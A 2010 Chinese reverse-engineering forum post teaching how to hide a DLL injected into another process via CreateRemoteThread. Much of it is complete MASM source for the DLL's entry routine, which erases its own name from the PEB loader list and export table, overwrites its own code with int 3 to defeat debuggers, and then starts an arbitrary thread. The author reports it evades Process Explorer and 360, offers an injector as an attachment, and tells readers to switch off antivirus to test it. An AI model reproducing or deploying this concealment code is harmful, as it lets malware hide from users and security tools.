Dll 模塊隱藏技術

 標 題: 【原創】Dll 模塊隱藏技術
作 者: 風蕭兮
時 間: 2010-11-06,15:30:52
鏈 接: http://bbs.pediy.com/showthread.php?t=124325

Dll 模塊隱藏技術
BY: tj08jx(fengxiaoxi)
;***********************************************************************
其實帖子都是這樣看的少,細讀的沒幾個,
如果你細細讀完這篇文章,你會學到一下內容:
1.PEB,TEB,LDR_DATA_TABLE_ENTRY等數據結構
2.自己覆蓋掉自己執行過的一段代碼
3.調試這個Dll你會發現DLL_PROCESS_ATTACH中的代碼在OD首次停下即加載停止時已經執行完了!
   多麼美妙啊!哈哈,OD不會發現你執行了什麼
4.本例最後附件有個 ASM 的控制台程序,用 SDK 編寫,你可以學到用彙編寫一個基本的控制台程序的格式
5.最後那個控制台源碼還包含完整的CreateRemoteThread注入進程的寫法
;**************************************************************************

本文主要講的是怎樣隱藏一個dll模塊,這裡說的隱藏是指,dll被加載後怎樣使它 用一般的工具無法檢測出來。
為什麼要這麼做呢?
1.遠程線程中的應用
     (1)大家都知道,遠程線程注入主要有兩種一種是直接copy母體中預注入的代碼到目標進程地址空間(WriteProcessMemory),
 然後啟動注入的代碼(CreateRemoteThread),這種遠程線程一旦成功實現,那麼它只出現在目標進程的內存中,
 並沒有對應的磁盤文件,堪稱進程隱藏中的高招,可是缺點就是,你必須要在注入代碼中對所有直接尋址的指令進行修正,
 這可是個力氣活,用彙編寫起來很煩。
     (2)另一種更為常用的方法是注入一個 dll 文件到目標進程,這種方法的實現可以是 以一個 消息Hook 為由進行注入,
 或者仍然使用 CreateRemoteThread,這種方法的優點是 Dll 文件自帶 重定位 表,也就是說你不必再為修正直接尋址
 指令而煩惱了!,dll 自己會重定位!~~~嗯,真是不錯的方法 --- 可是我們說它不如上面說的方法牛。為什麼?
 因為它的致命傷就是 可以用進程管理工具 看見被加載的 dll 文件名、文件路徑。這真是太不爽了,因為只要用戶看看模塊列表
 很容易發現可疑模塊!,再依據名字,找到路徑,定位文件 --- dll文件就這樣暴露了.這樣也就不是很完美的隱藏進程。
 [現在不用怕啦~~ 本文將介紹的方法就是為了上述 不足而存在地~~~,讓一般的工具看不到已加載的某個dll]
2.自身文件的需要
   這個說起來比較簡單,比如我的一個程序運行了,我不想讓用戶知道我的EXE使用了某個dll,那麼同樣的也需要這種隱身技術.

3. 技術實現
  (1).
   說完了這麼多,該說說,到底應該怎麼實現了.
   熟悉SEH的肯定對 PEB 這個結構並不陌生-- PEB (Process Environment Block)進程環境信息塊,這裡儲存著進程的重要信息
   主要原理就是這個結構,和它的成員相關結構
   首先我們回顧一下如何找到這個結構,常見的代碼是這個:

    mov   eax,fs:[30h]    ;就這一句足矣,執行後 eax --> PEB (eax指向PEB結構,即eax中是PEB結構在進程空間中的地址)
 
   熟悉TEB和SEH中反調試知識的童鞋一定對上面這個很熟悉了~~不多說了--(不懂得童鞋去學習一下SEH的相關知識你就會認清 fs 了)
   下面看一下 PEB 結構的定義 :
;=================================================================
    PEB STRUCT                ; sizeof = 1E8h
  InheritedAddressSpace      BYTE    ?  ; 0000h
  ReadImageFileExecOptions    BYTE    ?  ; 0001h
  BeingDebugged        BYTE    ?  ; 0002h
  SpareBool        BYTE    ?  ; 0003h
  Mutant          PVOID    ?  ; 0004h
  ImageBaseAddress      PVOID    ?  ; 0008h
  Ldr          PVOID    ?  ; 000Ch PTR PEB_LDR_DATA
  ProcessParameters      PVOID    ?  ; 0010h PTR RTL_USER_PROCESS_PARAMETERS
  SubSystemData        PVOID    ?  ; 0014h
 
  ~~~~~~~~~~~~~~~~~      ~~~~    ~~  ;PEB 結構以下部分省略
   PEB  ENDS
;==================================================================

由於PEB結構太龐大了,因此本文指截取了開頭的一部分,因為我們主要使用的是它的 Ldr 成員,看見了嗎? 對!,就是它在結構偏移 0Ch 處
後面已經指出了Ldr成員是一個指向 PEB_LDR_DATA 結構的指針,下面我們就得看看這個結構了:

;==================================================================
PEB_LDR_DATA STRUCT              ; sizeof = 24h
  _Length          DWORD    ?  ; original name Length
  Initialized        BYTE    ?  ; 04h
            db   3   dup(?)  ; padding
  SsHandle        PVOID    ?  ; 08h
  InLoadOrderModuleList      LIST_ENTRY  <>  ; 0Ch
  InMemoryOrderModuleList      LIST_ENTRY  <>  ; 14h
  InInitializationOrderModuleList    LIST_ENTRY  <>  ; 1Ch
PEB_LDR_DATA ENDS
;==================================================================
啊哈~~~這裡我們看到了想要的東西, Module 這個單詞被我們發現了,ModuleList 就是模塊 列表嘛~~~
InLoadOrderModuleList 就是按照模塊加載順序描述模塊信息的,InMemoryOrderModuleList是按照內存中存儲順序描述,
InInitializationOrderModuleList是按照初始化dll模塊的順序描述的(你可以利用它們之一獲得kernel32.dll的基址
這是許多無導入表程序的必做之事)

為了弄清Module信息究竟是怎麼儲存的,我們又必須知道LIST_ENTRY結構的定義
一個LIST_ENTRY結構描述了一個雙鏈表
;======================================
LIST_ENTRY  STRUCT
  Flink  pLIST_ENTRY   
  Blink  pLIST_ENTRY
LIST_ENTRY  ENDS

pLIST_ENTRY typedef PTR LIST_ENTRY  ;pLIST_ENTRY 表示指向LIST_ENTRY結構的指針
;=====================================
名称:  LIST_ENTRY.png
查看次数: 2446
文件大小:  9.2 KB

根據圖片我們可以看出LIST_ENTRY的用法,它嵌入在一個結構類型內,Flink指向下一個這種結構類型內的LIST_ENTRY
這樣由表頭,就可以找到所有的data struct結構了!
啊哈~~  MSDN 又說 InMemoryOrderModuleList 指向一個 LDR_DATA_TABLE_ENTRY 結構,也就是說,我們的圖片的
 data struct 1,2,3  就是指 LDR_DATA_TABLE_ENTRY 結構,再看看 它的 定義:(雖然結構有點繞,別暈啊~~快勝利了)
;===========================================================
LDR_DATA_TABLE_ENTRY STRUCT
   InLoadOrderLinks      LIST_ENTRY   ;0h
  InMemoryOrderLinks;      LIST_ENTRY   ;8h
    InInitializationOrderLinks;    LIST_ENTRY  ;10h
   DllBase;        dword    ;18h    ;DllBase模塊基址
   EntryPoint;        dword    ;1Ch    ;模塊入口點
   SizeOfImage;        dword    ;20h    ;模塊的內存映像大小
  FullDllName;        UNICODE_STRING  ;24h   
   BaseDllName;        UNICODE_STRING  ;2Ch   
   Flags;          dword    ;34h
 
  ~~~~~~~~~~~~~~~~~~~~~~~~~~    ~~~~~~~~~  ;LDR_DATA_TABLE_ENTRY結構以下部分省略
LDR_DATA_TABLE_ENTRY ENDS
;===========================================================
怎麼樣?看成員名字就知道~~~~,模塊信息就在此處!
可以肯定一個LDR_DATA_TABLE_ENTRY描述一個模塊的信息,依靠LIST_ENTRY與下一個或前一個LDR_DATA_TABLE_ENTRY想連.
它的前三個成員都是 LIST_ENTRY 類型!,再看看上面圖片,你應該明白了吧,PEB_LDR_DATA中的三個LIST_ENTRY的後繼依次就是這三個
這裡我們主要使用InLoadOrderModuleList這個成員來遍歷模塊,原因是InLoadOrderModuleList對應的嵌入在LDR_DATA_TABLE_ENTRY結構中
的InLoadOrderLinks位於結構首部,用它尋址會方便、清楚一些(當然你用其它兩個,InMemoryOrderModuleList 和
InInitializationOrderModuleList也可以啊)
看這個彙編代碼,我們要定位於首個LDR_DATA_TABLE_ENTRY:
 
    mov  eax,fs:[30h]    ;eax-->PEB
    mov  eax,[eax + 0Ch]    ;eax == PEB.Ldr --> PEB_LDR_DATA
    mov  eax,[eax + 0Ch]    ;eax == PEB_LDR_DATA.InLoadOrderModuleList.Flink --> LDR_DATA_TABLE_ENTRY

  OK,執行後eax中就是第一個LDR_DATA_TABLE_ENTRY結構的地址啦!!!
  3個mov指令,但是用到了好多結構啊~~~ 
 
對於我們的遍歷方式,第一個LDR_DATA_TABLE_ENTRY描述的應該是dll所屬的EXE的信息,包括入口點,基址,文件名什麼的 ~~~
到這裡我們還差一小步 那就是 UNICODE_STRING 結構
;=============================================================
UNICODE_STRING STRUCT        ;sizeof == 08h
  Length        word  ;0h
  MaximumLength         word  ;02h
  Buffer        dword  ;04h
UNICODE_STRING STRUCT  ENDS
;=============================================================
Length  指明由Buffer字段指向的UNICODE串的長度,不包括結尾的 00 00
  比如" C:\A "這個UNICODE串那麼Length就是4*2==8
Buffer  指向Unicode字串的指針!

  太好了終於大功告成,解決複雜的結構了--
  現在假設我們要獲得某個模塊的全路徑:

    mov  eax,fs:[30h]    ;eax-->PEB
    mov  eax,[eax + 0Ch]    ;eax == PEB.Ldr --> PEB_LDR_DATA
    mov  eax,[eax + 0Ch]    ;eax == PEB_LDR_DATA.InLoadOrderModuleList.Flink --> LDR_DATA_TABLE_ENTRY
    mov  eax,[eax + 24h + 4h]  ;eax == LDR_DATA_TABLE_ENTRY.FullDllName.Buffer --> 模塊路徑unicode串

   執行過後,eax 中存儲的就是我們遍歷的首個模塊的模塊全路徑字串的地址
   也就是模塊字串名稱的指針.
  要訪問下一個LDR_DATA_TABLE_ENTRY,在上幾句代碼的基礎上只需這樣:

    mov eax,[eax]   ;因為eax本身就是指向LIST_ENTRY結構地~~~,這樣mov指令使得
        ;當前LIST_ENTRY的Flink傳送到eax,eax自然就指向下一個LDR_DATA_TABLE_ENTRY結構了~~~

  (2).
  好了說說我們的dll隱身技術,我們就是要將這裡的LDR_DATA_TABLE_ENTRY.FullDllName指向的字符串清除!
因為快照函數或其它的函數,一般都會在底層訪問這個結構,在這裡查詢 模塊 的信息,我們把它給清除了,看它還能查到了嗎?

下面我們假設我們已經使用CreateRemoteThread創建一個遠程線程,遠程線程入口就是 LoadLibraryA 函數,傳入參數就是我們的欲注入
的dll文件名,現在我們看看這個dll文件的核心代碼,看它如何清除自己的FullDllName串實現隱藏:
代碼:
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
DllEntry  proc  _hInstance,_dwReason,_dwReserved

    pushad
              

    mov  eax,_dwReason
    .if  eax == DLL_PROCESS_ATTACH      ;Dll初始化時執行!
      push  _hInstance
      pop  hInstDll        ;hInstDll保存本dll加載基址
      ;------------------------------------------
      ;定位eax指向首個LDR_DATA_TABLE_ENTRY結構
      ;------------------------------------------
      assume  fs:nothing
      mov  eax,fs:[30h]        ;eax-->PEB
      mov  eax,[eax + 0Ch]        ;eax==Ldr-->PEB_LDR_DATA
      mov  eax,[eax + 0Ch]        ;LoadOrderList.Flink-->LDR_DATA_TABLE_ENTRY
      ;-----------------------------------------------------------
      ;通過循環遍歷LDR_DATA_TABLE_ENTRY結構,比較DllBase與hInstDll
      ;找到描述本dll模塊的LDR_DATA_TABLE_ENTRY結構
      ;-----------------------------------------------------------
      @@:
      mov  ebx,[eax + 18h]        ;[eax + 18h]為當前處理的模塊的基址
      cmp  ebx,hInstDll        ;找到本模塊的LDR_DATA_TABLE_ENTRY
      jne  _No
      mov  ebx,[eax + 24h + 4]
      movzx  ecx,word ptr [eax + 24h]    ;Unicode String length 獲得子串長度
      mov  edi,ebx          ;Unicode String Address 
      cld
      rep  stosb          ;用Al的值填充
      mov  dword ptr [ebx],0      ;(確保String首4個byte為0)
      jmp  @F
      _No:
      mov  eax,[eax]        ;鏈表遍歷
      jmp  @B
      @@:

    .elseif  -- - -- - - -- 
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::    
  在Dll初始化時,響應 DLL_PROCESS_ATTACH ,在這其中清除我們的「自己的名字」,來個神不知鬼不覺!,哈哈~~
  這同時也說明,初始化時,Windows已經把各結構都填寫好了.
 

        做到這裡我們已經能實現這樣的功能,即 一般的進程查看工具看不到我們注入的dll了!
  因為我們把它要查的信息清除了!


      說到這可能有大牛說,我暴力搜索內存,匹配 MZ--PE ,看你往哪跑? 的卻我是跑不了 ~~
  如果你這樣做的話,首先你得知道我注入的是哪個進程,其次,你得有耐心暴力搜索,然後--- 真的被您搜到了 ---
  此時我的 dll 的代碼便可以被人家隨便分析啦 ~~ 一看 哈哈,原來就是清除了 某某結構的內容啊 ---
  哼! 我在你的 導出表 裡找到你的 dll 名字!,然後找到你的磁盤文件,那你就任我魚肉吧! 哈哈哈哈~~~~~

           好可怕啊~~~,是啊,用OD看看,然後靜態反彙編一下,我們的代碼就露餡了--唉 --
  等等!!
  要不然 我們來個 Self Modify 將dll中的這段代碼 也給它清除掉,對! 還有 EXPORT 的那個 dll 名,一起除掉,
  給它來個 毀屍滅跡 O(∩_∩)O哈哈~
  說幹就幹,看下面代碼:
代碼:
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
DllEntry  proc  _hInstance,_dwReason,_dwReserved

    pushad
    mov  eax,_dwReason
    .if  eax == DLL_PROCESS_ATTACH

      push  _hInstance
      pop  hInstDll
  
    _BEGIN:
      call  @F
      @@:
      pop  eax          ;eax返回@@標號處的線性地址
      sub  eax,5          ;執行後eax等於_BEGIN處的線性地址
      push  eax
      mov  ebx,offset _END - offset _BEGIN
      invoke  VirtualProtect,eax,ebx,PAGE_EXECUTE_READWRITE,addr flOldProtect              ;flOldProtect萬萬不可少
      ;------------------------------------------
      ;清除PEB結構中,(UNICODE STRING)FullDllName
      ;------------------------------------------
      assume  fs:nothing
      mov  eax,fs:[30h]        ;eax-->PEB
      mov  eax,[eax + 0Ch]        ;eax==Ldr-->PEB_LDR_DATA
      mov  eax,[eax + 0Ch]        ;LoadOrderList.Flink-->LDR_DATA_TABLE_ENTRY
      @@:
      mov  ebx,[eax + 18h]
      cmp  ebx,hInstDll        ;找到本模塊的LDR_DATA_TABLE_ENTRY
      jne  _No
      mov  ebx,[eax + 24h + 4]
      movzx  ecx,word ptr [eax + 24h]    ;Unicode String length
      mov  edi,ebx          ;Unicode String Address
      cld
      rep  stosb
      mov  dword ptr [ebx],0      ;(確保String首4個byte為0)
      jmp  @F
      _No:
      mov  eax,[eax]
      jmp  @B
      @@:
      ;---------------------------------
      ;清除Dll映像中導出表中的Dll文件名
      ;---------------------------------
      mov  esi,hInstDll
      add  esi,[esi + 03Ch]
      assume  esi:ptr IMAGE_NT_HEADERS
      mov  edi,[esi].OptionalHeader.DataDirectory[0].VirtualAddress
      add  edi,hInstDll
      assume  edi:ptr IMAGE_EXPORT_DIRECTORY
      mov  edi,[edi].nName
      add  edi,hInstDll          ;edi-->DllName(Export)
      mov  [esp - 4*4],edi          
      xor  eax,eax
      mov  ecx,-1
      cld
      repnz  scasb            ;[edi] != 0 -->> continue
      sub  edi,[esp - 4*4]          ;edi == length + 1
      mov  [esp - 4*3],edi
      mov  dword ptr [esp - 4*2],PAGE_EXECUTE_READWRITE
      lea  eax,flOldProtect
      mov  [esp - 4*1],eax
      sub  esp,4*4
      call  VirtualProtect          ;調用VirtualProtect更改頁屬性
      xor  eax,eax
      xchg  ecx,edi            ;edi == length + 1      
      xchg  edi,[esp - 4*4]          ;[esp - 4*4] --> DllName
      cld
      rep  stosb
      ;-------------------------------------
      ;將_BEGIN 與 _END 之間內容填充為int 3
      ;-------------------------------------
      pop  edi
      mov  eax,0CCh
      mov  ecx,offset _END - offset _BEGIN
      cld
      rep  stosb
    _END:

      ;--------------------------------------------
      ;創建自定義線程,you can do anything you want
      ;--------------------------------------------
      invoke  CreateThread,0,0,addr _ThreadProc,0,0,0

    .elseif eax == DLL_PROCESS_DETACH
      NOP
    .endif

    popad
    mov  eax,TRUE
    ret

DllEntry  Endp
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
這最後一部分就是 Dll 的完全的核心代碼啦 ~~~ 調用VirtualProtectl兩次,第一次用於更改
_BEGIN與_END標號處的屬性,以便毀屍滅跡填充 int 3.第二次用於更改導出表dll文件名的地方
的屬性,以便將其清零.
最後程序可以創建個自定義線程,在這個線程裡 you can do anything you like

;/////////////////////////////////////////////////////////////////////////////////////////////
至此,我們的工程完成啦 ~~~ ,即使搜索內存字符串也是搜不到的--因為所有的相關串都被我們毀了

##我測試環境是 Win 7,ProcessExplorer 和 360自帶的 進程管理器 都查不出來 已加載的Dll模塊.##
##冰刃的話說是不支持win 7 因此未測試,不知結果不敢妄言##

好了說說我們的附件:
       你可以看到本文使用的是 MASM32 的語法
      附件中有完整的 dll 文件的源代碼,還有編譯好的 dll 文件。
      為了測試程序的方便我還特意用 ASM 寫了個控制台程序,這個控制台程序是個"dll 注入器"
      採用CreateRemoteThread的方式注入,你可以輸入進程名來完成注入,以便測試我們的這個dll
      這個控台程序的源碼同樣在附件中.
       注意:注入前 dll 文件要放在 PATH 變量指定的目錄中,否則LoadLibraryA找不到dll會失敗
      dll成功注入後首先會彈出個MessageBox,告訴你,它被 Loaded 了,然後 自定義線程
      會 每隔 6 秒彈出一個 MessgeBox,告訴你 It is alive !
:由於涉及到遠程注入,因此部分殺軟會報毒的,如果想繼續測試,請暫時關閉 進程防火牆 或 其它可能的主動防禦
上傳的附件
文件类型: rar HideDll.rar

留言

本月最夯

偷用電腦,怎知?事件檢視器全記錄!(開機時間、啟動項時間...)